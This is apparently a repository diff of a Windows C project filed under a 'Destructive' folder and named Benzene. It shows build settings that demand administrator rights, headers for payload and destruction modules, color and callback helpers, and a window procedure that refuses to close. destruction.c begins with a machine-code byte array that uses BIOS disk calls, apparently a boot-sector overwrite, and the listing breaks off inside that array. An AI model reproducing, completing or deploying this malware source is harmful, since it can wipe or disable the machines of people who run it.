<TargetName>$(ProjectName) x64</TargetName>
|
| 76 |
+
</PropertyGroup>
|
| 77 |
+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
| 78 |
+
<ClCompile>
|
| 79 |
+
<WarningLevel>Level3</WarningLevel>
|
| 80 |
+
<FunctionLevelLinking>true</FunctionLevelLinking>
|
| 81 |
+
<IntrinsicFunctions>true</IntrinsicFunctions>
|
| 82 |
+
<SDLCheck>true</SDLCheck>
|
| 83 |
+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
| 84 |
+
<ConformanceMode>true</ConformanceMode>
|
| 85 |
+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
| 86 |
+
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
|
| 87 |
+
<TreatWarningAsError>true</TreatWarningAsError>
|
| 88 |
+
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
| 89 |
+
<CallingConvention>StdCall</CallingConvention>
|
| 90 |
+
<FloatingPointModel>Fast</FloatingPointModel>
|
| 91 |
+
</ClCompile>
|
| 92 |
+
<Link>
|
| 93 |
+
<SubSystem>Windows</SubSystem>
|
| 94 |
+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
| 95 |
+
<OptimizeReferences>true</OptimizeReferences>
|
| 96 |
+
<GenerateDebugInformation>false</GenerateDebugInformation>
|
| 97 |
+
<AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
| 98 |
+
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
| 99 |
+
</Link>
|
| 100 |
+
</ItemDefinitionGroup>
|
| 101 |
+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
| 102 |
+
<ClCompile>
|
| 103 |
+
<WarningLevel>Level3</WarningLevel>
|
| 104 |
+
<FunctionLevelLinking>true</FunctionLevelLinking>
|
| 105 |
+
<IntrinsicFunctions>true</IntrinsicFunctions>
|
| 106 |
+
<SDLCheck>true</SDLCheck>
|
| 107 |
+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
| 108 |
+
<ConformanceMode>true</ConformanceMode>
|
| 109 |
+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
| 110 |
+
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
|
| 111 |
+
<TreatWarningAsError>true</TreatWarningAsError>
|
| 112 |
+
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
| 113 |
+
<CallingConvention>StdCall</CallingConvention>
|
| 114 |
+
<FloatingPointModel>Fast</FloatingPointModel>
|
| 115 |
+
</ClCompile>
|
| 116 |
+
<Link>
|
| 117 |
+
<SubSystem>Windows</SubSystem>
|
| 118 |
+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
| 119 |
+
<OptimizeReferences>true</OptimizeReferences>
|
| 120 |
+
<GenerateDebugInformation>false</GenerateDebugInformation>
|
| 121 |
+
<AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
| 122 |
+
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
| 123 |
+
</Link>
|
| 124 |
+
</ItemDefinitionGroup>
|
| 125 |
+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
| 126 |
+
<ImportGroup Label="ExtensionTargets">
|
| 127 |
+
</ImportGroup>
|
| 128 |
+
</Project>
|
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.filters
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<ItemGroup>
|
| 4 |
+
<Filter Include="ソース ファイル">
|
| 5 |
+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
| 6 |
+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
| 7 |
+
</Filter>
|
| 8 |
+
<Filter Include="ヘッダー ファイル">
|
| 9 |
+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
| 10 |
+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
| 11 |
+
</Filter>
|
| 12 |
+
<Filter Include="リソース ファイル">
|
| 13 |
+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
| 14 |
+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
| 15 |
+
</Filter>
|
| 16 |
+
</ItemGroup>
|
| 17 |
+
<ItemGroup>
|
| 18 |
+
<ClInclude Include="callbacks.h">
|
| 19 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 20 |
+
</ClInclude>
|
| 21 |
+
<ClInclude Include="threads.h">
|
| 22 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 23 |
+
</ClInclude>
|
| 24 |
+
<ClInclude Include="color.h">
|
| 25 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 26 |
+
</ClInclude>
|
| 27 |
+
<ClInclude Include="def.h">
|
| 28 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 29 |
+
</ClInclude>
|
| 30 |
+
<ClInclude Include="destruction.h">
|
| 31 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 32 |
+
</ClInclude>
|
| 33 |
+
<ClInclude Include="extra_payloads.h">
|
| 34 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 35 |
+
</ClInclude>
|
| 36 |
+
<ClInclude Include="math.h">
|
| 37 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 38 |
+
</ClInclude>
|
| 39 |
+
<ClInclude Include="benzene.h">
|
| 40 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 41 |
+
</ClInclude>
|
| 42 |
+
<ClInclude Include="payloads.h">
|
| 43 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 44 |
+
</ClInclude>
|
| 45 |
+
<ClInclude Include="resource.h">
|
| 46 |
+
<Filter>ヘッダー ファイル</Filter>
|
| 47 |
+
</ClInclude>
|
| 48 |
+
</ItemGroup>
|
| 49 |
+
<ItemGroup>
|
| 50 |
+
<ClCompile Include="callbacks.c">
|
| 51 |
+
<Filter>ソース ファイル</Filter>
|
| 52 |
+
</ClCompile>
|
| 53 |
+
<ClCompile Include="color.c">
|
| 54 |
+
<Filter>ソース ファイル</Filter>
|
| 55 |
+
</ClCompile>
|
| 56 |
+
<ClCompile Include="destruction.c">
|
| 57 |
+
<Filter>ソース ファイル</Filter>
|
| 58 |
+
</ClCompile>
|
| 59 |
+
<ClCompile Include="extra_payloads.c">
|
| 60 |
+
<Filter>ソース ファイル</Filter>
|
| 61 |
+
</ClCompile>
|
| 62 |
+
<ClCompile Include="main.c">
|
| 63 |
+
<Filter>ソース ファイル</Filter>
|
| 64 |
+
</ClCompile>
|
| 65 |
+
<ClCompile Include="math.c">
|
| 66 |
+
<Filter>ソース ファイル</Filter>
|
| 67 |
+
</ClCompile>
|
| 68 |
+
<ClCompile Include="payloads.c">
|
| 69 |
+
<Filter>ソース ファイル</Filter>
|
| 70 |
+
</ClCompile>
|
| 71 |
+
<ClCompile Include="threads.c">
|
| 72 |
+
<Filter>ソース ファイル</Filter>
|
| 73 |
+
</ClCompile>
|
| 74 |
+
</ItemGroup>
|
| 75 |
+
</Project>
|
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.user
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<PropertyGroup />
|
| 4 |
+
</Project>
|
src/Benzene-main/Destructive/Benzene/benzene.h
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#pragma warning( disable: 4152 )
|
| 3 |
+
#pragma warning( disable: 4201 )
|
| 4 |
+
|
| 5 |
+
#define RGBQUAD _RGBQUAD
|
| 6 |
+
#pragma warning( push, 0 )
|
| 7 |
+
#include <windows.h>
|
| 8 |
+
#pragma warning( pop )
|
| 9 |
+
#undef RGBQUAD
|
| 10 |
+
|
| 11 |
+
#include <accctrl.h>
|
| 12 |
+
#include <aclapi.h>
|
| 13 |
+
#include <stdio.h>
|
| 14 |
+
#include <math.h>
|
| 15 |
+
#include "def.h"
|
| 16 |
+
#include "math.h"
|
| 17 |
+
#include "color.h"
|
| 18 |
+
#include "callbacks.h"
|
| 19 |
+
#include "threads.h"
|
| 20 |
+
#include "payloads.h"
|
| 21 |
+
#include "extra_payloads.h"
|
| 22 |
+
#include "destruction.h"
|
| 23 |
+
|
| 24 |
+
#pragma region Public Variables
|
| 25 |
+
extern HWND hwndDesktop;
|
| 26 |
+
extern HDC hdcDesktop;
|
| 27 |
+
extern RECT rcScrBounds;
|
| 28 |
+
extern HHOOK hMsgHook;
|
| 29 |
+
extern INT nCounter;
|
| 30 |
+
#pragma endregion Public Variables
|
src/Benzene-main/Destructive/Benzene/callbacks.c
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
BOOL
|
| 4 |
+
CALLBACK
|
| 5 |
+
MonitorEnumProc(
|
| 6 |
+
_In_ HMONITOR hMonitor,
|
| 7 |
+
_In_ HDC hDC,
|
| 8 |
+
_In_ PRECT prcArea,
|
| 9 |
+
_In_ LPARAM lParam
|
| 10 |
+
)
|
| 11 |
+
{
|
| 12 |
+
UNREFERENCED_PARAMETER( hMonitor );
|
| 13 |
+
UNREFERENCED_PARAMETER( hDC );
|
| 14 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 15 |
+
|
| 16 |
+
rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
|
| 17 |
+
rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
|
| 18 |
+
rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
|
| 19 |
+
rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
|
| 20 |
+
|
| 21 |
+
return TRUE;
|
| 22 |
+
}
|
| 23 |
+
|
| 24 |
+
LRESULT
|
| 25 |
+
CALLBACK
|
| 26 |
+
NoDestroyWndProc(
|
| 27 |
+
_In_ HWND hWnd,
|
| 28 |
+
_In_ DWORD dwMsg,
|
| 29 |
+
_In_ WPARAM wParam,
|
| 30 |
+
_In_ LPARAM lParam
|
| 31 |
+
)
|
| 32 |
+
{
|
| 33 |
+
switch ( dwMsg )
|
| 34 |
+
{
|
| 35 |
+
default:
|
| 36 |
+
return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
|
| 37 |
+
case WM_DESTROY:
|
| 38 |
+
case WM_CLOSE:
|
| 39 |
+
case WM_QUIT:
|
| 40 |
+
return CALLBACK_NULL;
|
| 41 |
+
}
|
| 42 |
+
}
|
| 43 |
+
|
| 44 |
+
VOID
|
| 45 |
+
CALLBACK
|
| 46 |
+
TimerProc(
|
| 47 |
+
_In_ HWND hWnd,
|
| 48 |
+
_In_ UINT nMsg,
|
| 49 |
+
_In_ UINT nIDEvent,
|
| 50 |
+
_In_ DWORD dwTime
|
| 51 |
+
)
|
| 52 |
+
{
|
| 53 |
+
UNREFERENCED_PARAMETER( hWnd );
|
| 54 |
+
UNREFERENCED_PARAMETER( nMsg );
|
| 55 |
+
UNREFERENCED_PARAMETER( nIDEvent );
|
| 56 |
+
UNREFERENCED_PARAMETER( dwTime );
|
| 57 |
+
|
| 58 |
+
nCounter++;
|
| 59 |
+
}
|
src/Benzene-main/Destructive/Benzene/callbacks.h
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
BOOL
|
| 5 |
+
CALLBACK
|
| 6 |
+
MonitorEnumProc(
|
| 7 |
+
_In_ HMONITOR hMonitor,
|
| 8 |
+
_In_ HDC hDC,
|
| 9 |
+
_In_ PRECT prcArea,
|
| 10 |
+
_In_ LPARAM lParam
|
| 11 |
+
);
|
| 12 |
+
|
| 13 |
+
LRESULT
|
| 14 |
+
CALLBACK
|
| 15 |
+
NoDestroyWndProc(
|
| 16 |
+
_In_ HWND hWnd,
|
| 17 |
+
_In_ DWORD dwMsg,
|
| 18 |
+
_In_ WPARAM wParam,
|
| 19 |
+
_In_ LPARAM lParam
|
| 20 |
+
);
|
| 21 |
+
|
| 22 |
+
VOID
|
| 23 |
+
CALLBACK
|
| 24 |
+
TimerProc(
|
| 25 |
+
_In_ HWND hWnd,
|
| 26 |
+
_In_ UINT nMsg,
|
| 27 |
+
_In_ UINT nIDEvent,
|
| 28 |
+
_In_ DWORD dwTime
|
| 29 |
+
);
|
src/Benzene-main/Destructive/Benzene/color.c
ADDED
|
@@ -0,0 +1,142 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
HSLCOLOR
|
| 4 |
+
RGBToHSL(
|
| 5 |
+
_In_ RGBQUAD rgb
|
| 6 |
+
)
|
| 7 |
+
{
|
| 8 |
+
HSLCOLOR hsl;
|
| 9 |
+
|
| 10 |
+
BYTE r = rgb.r;
|
| 11 |
+
BYTE g = rgb.g;
|
| 12 |
+
BYTE b = rgb.b;
|
| 13 |
+
|
| 14 |
+
FLOAT _r = ( FLOAT )r / 255.f;
|
| 15 |
+
FLOAT _g = ( FLOAT )g / 255.f;
|
| 16 |
+
FLOAT _b = ( FLOAT )b / 255.f;
|
| 17 |
+
|
| 18 |
+
FLOAT rgbMin = min( min( _r, _g ), _b );
|
| 19 |
+
FLOAT rgbMax = max( max( _r, _g ), _b );
|
| 20 |
+
|
| 21 |
+
FLOAT fDelta = rgbMax - rgbMin;
|
| 22 |
+
FLOAT deltaR;
|
| 23 |
+
FLOAT deltaG;
|
| 24 |
+
FLOAT deltaB;
|
| 25 |
+
|
| 26 |
+
FLOAT h = 0.f;
|
| 27 |
+
FLOAT s = 0.f;
|
| 28 |
+
FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
|
| 29 |
+
|
| 30 |
+
if ( fDelta != 0.f )
|
| 31 |
+
{
|
| 32 |
+
s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
|
| 33 |
+
deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 34 |
+
deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 35 |
+
deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 36 |
+
|
| 37 |
+
if ( _r == rgbMax )
|
| 38 |
+
{
|
| 39 |
+
h = deltaB - deltaG;
|
| 40 |
+
}
|
| 41 |
+
else if ( _g == rgbMax )
|
| 42 |
+
{
|
| 43 |
+
h = ( 1.f / 3.f ) + deltaR - deltaB;
|
| 44 |
+
}
|
| 45 |
+
else if ( _b == rgbMax )
|
| 46 |
+
{
|
| 47 |
+
h = ( 2.f / 3.f ) + deltaG - deltaR;
|
| 48 |
+
}
|
| 49 |
+
|
| 50 |
+
if ( h < 0.f )
|
| 51 |
+
{
|
| 52 |
+
h += 1.f;
|
| 53 |
+
}
|
| 54 |
+
if ( h > 1.f )
|
| 55 |
+
{
|
| 56 |
+
h -= 1.f;
|
| 57 |
+
}
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
hsl.h = h;
|
| 61 |
+
hsl.s = s;
|
| 62 |
+
hsl.l = l;
|
| 63 |
+
return hsl;
|
| 64 |
+
}
|
| 65 |
+
|
| 66 |
+
RGBQUAD
|
| 67 |
+
HSLToRGB(
|
| 68 |
+
_In_ HSLCOLOR hsl
|
| 69 |
+
)
|
| 70 |
+
{
|
| 71 |
+
RGBQUAD rgb;
|
| 72 |
+
|
| 73 |
+
FLOAT r = hsl.l;
|
| 74 |
+
FLOAT g = hsl.l;
|
| 75 |
+
FLOAT b = hsl.l;
|
| 76 |
+
|
| 77 |
+
FLOAT h = hsl.h;
|
| 78 |
+
FLOAT sl = hsl.s;
|
| 79 |
+
FLOAT l = hsl.l;
|
| 80 |
+
FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
|
| 81 |
+
|
| 82 |
+
FLOAT m;
|
| 83 |
+
FLOAT sv;
|
| 84 |
+
FLOAT fract;
|
| 85 |
+
FLOAT vsf;
|
| 86 |
+
FLOAT mid1;
|
| 87 |
+
FLOAT mid2;
|
| 88 |
+
|
| 89 |
+
INT sextant;
|
| 90 |
+
|
| 91 |
+
if ( v > 0.f )
|
| 92 |
+
{
|
| 93 |
+
m = l + l - v;
|
| 94 |
+
sv = ( v - m ) / v;
|
| 95 |
+
h *= 6.f;
|
| 96 |
+
sextant = ( INT )h;
|
| 97 |
+
fract = h - sextant;
|
| 98 |
+
vsf = v * sv * fract;
|
| 99 |
+
mid1 = m + vsf;
|
| 100 |
+
mid2 = v - vsf;
|
| 101 |
+
|
| 102 |
+
switch ( sextant )
|
| 103 |
+
{
|
| 104 |
+
case 0:
|
| 105 |
+
r = v;
|
| 106 |
+
g = mid1;
|
| 107 |
+
b = m;
|
| 108 |
+
break;
|
| 109 |
+
case 1:
|
| 110 |
+
r = mid2;
|
| 111 |
+
g = v;
|
| 112 |
+
b = m;
|
| 113 |
+
break;
|
| 114 |
+
case 2:
|
| 115 |
+
r = m;
|
| 116 |
+
g = v;
|
| 117 |
+
b = mid1;
|
| 118 |
+
break;
|
| 119 |
+
case 3:
|
| 120 |
+
r = m;
|
| 121 |
+
g = mid2;
|
| 122 |
+
b = v;
|
| 123 |
+
break;
|
| 124 |
+
case 4:
|
| 125 |
+
r = mid1;
|
| 126 |
+
g = m;
|
| 127 |
+
b = v;
|
| 128 |
+
break;
|
| 129 |
+
case 5:
|
| 130 |
+
r = v;
|
| 131 |
+
g = m;
|
| 132 |
+
b = mid2;
|
| 133 |
+
break;
|
| 134 |
+
}
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
rgb.r = ( BYTE )( r * 255.f );
|
| 138 |
+
rgb.g = ( BYTE )( g * 255.f );
|
| 139 |
+
rgb.b = ( BYTE )( b * 255.f );
|
| 140 |
+
|
| 141 |
+
return rgb;
|
| 142 |
+
}
|
src/Benzene-main/Destructive/Benzene/color.h
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
typedef struct {
|
| 5 |
+
FLOAT h;
|
| 6 |
+
FLOAT s;
|
| 7 |
+
FLOAT l;
|
| 8 |
+
} HSLCOLOR;
|
| 9 |
+
|
| 10 |
+
HSLCOLOR
|
| 11 |
+
RGBToHSL(
|
| 12 |
+
_In_ RGBQUAD rgb
|
| 13 |
+
);
|
| 14 |
+
|
| 15 |
+
RGBQUAD
|
| 16 |
+
HSLToRGB(
|
| 17 |
+
_In_ HSLCOLOR hsl
|
| 18 |
+
);
|
src/Benzene-main/Destructive/Benzene/def.h
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
typedef union
|
| 5 |
+
{
|
| 6 |
+
COLORREF rgb;
|
| 7 |
+
struct
|
| 8 |
+
{
|
| 9 |
+
BYTE b;
|
| 10 |
+
BYTE g;
|
| 11 |
+
BYTE r;
|
| 12 |
+
BYTE unused;
|
| 13 |
+
};
|
| 14 |
+
} RGBQUAD, *PRGBQUAD;
|
| 15 |
+
|
| 16 |
+
typedef VOID( WINAPI GDI_SHADER )(
|
| 17 |
+
_In_ INT t,
|
| 18 |
+
_In_ INT w,
|
| 19 |
+
_In_ INT h,
|
| 20 |
+
_In_ HDC hdcTemp,
|
| 21 |
+
_In_ HBITMAP hbmTemp,
|
| 22 |
+
_In_ PRGBQUAD prgbSrc,
|
| 23 |
+
_Inout_ PRGBQUAD prgbDst
|
| 24 |
+
), *PGDI_SHADER;
|
| 25 |
+
|
| 26 |
+
typedef VOID( WINAPI GDI_SHADER_OPERATION )(
|
| 27 |
+
_In_ INT t,
|
| 28 |
+
_In_ INT w,
|
| 29 |
+
_In_ INT h,
|
| 30 |
+
_In_ RECT rcBounds,
|
| 31 |
+
_In_ HDC hdcDst,
|
| 32 |
+
_In_ HDC hdcTemp
|
| 33 |
+
), *PGDI_SHADER_OPERATION;
|
| 34 |
+
|
| 35 |
+
typedef struct tagGDI_SHADER_PARAMS
|
| 36 |
+
{
|
| 37 |
+
PGDI_SHADER pGdiShader;
|
| 38 |
+
PGDI_SHADER_OPERATION pPreGdiShader;
|
| 39 |
+
PGDI_SHADER_OPERATION pPostGdiShader;
|
| 40 |
+
} GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
|
| 41 |
+
|
| 42 |
+
typedef VOID( WINAPI AUDIO_SEQUENCE )(
|
| 43 |
+
_In_ INT nSamplesPerSec,
|
| 44 |
+
_In_ INT nSampleCount,
|
| 45 |
+
_Inout_ PSHORT psSamples
|
| 46 |
+
), *PAUDIO_SEQUENCE;
|
| 47 |
+
|
| 48 |
+
typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
|
| 49 |
+
_In_ INT nSamplesPerSec
|
| 50 |
+
), *PAUDIO_SEQUENCE_OPERATION;
|
| 51 |
+
|
| 52 |
+
typedef struct tagAUDIO_SEQUENCE_PARAMS
|
| 53 |
+
{
|
| 54 |
+
INT nSamplesPerSec;
|
| 55 |
+
INT nSampleCount;
|
| 56 |
+
PAUDIO_SEQUENCE pAudioSequence;
|
| 57 |
+
PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
|
| 58 |
+
PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
|
| 59 |
+
} AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;
|
src/Benzene-main/Destructive/Benzene/destruction.c
ADDED
|
@@ -0,0 +1,767 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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 0x31, 0xC0, 0x8E, 0xD0, 0xBC, 0xF0, 0x7B, 0xFB, 0xBB, 0x00,
|
| 5 |
+
0x10, 0x8E, 0xC3, 0xB8, 0x08, 0x02, 0xB9, 0x02, 0x00, 0xB6, 0x00, 0x31, 0xDB, 0xCD, 0x13, 0x06,
|
| 6 |
+
0x1F, 0xB8, 0x00, 0x20, 0x8E, 0xC0, 0x31, 0xC0, 0x89, 0xC3, 0x89, 0xC1, 0x89, 0xC2, 0x89, 0xC7,
|
| 7 |
+
0x89, 0xC6, 0xAC, 0x81, 0xFE, 0xD4, 0x0E, 0x73, 0x2F, 0x3C, 0x80, 0x73, 0x02, 0xEB, 0x0F, 0x24,
|
| 8 |
+
0x7F, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75, 0xF7, 0xEB, 0xE4, 0x88, 0xC4,
|
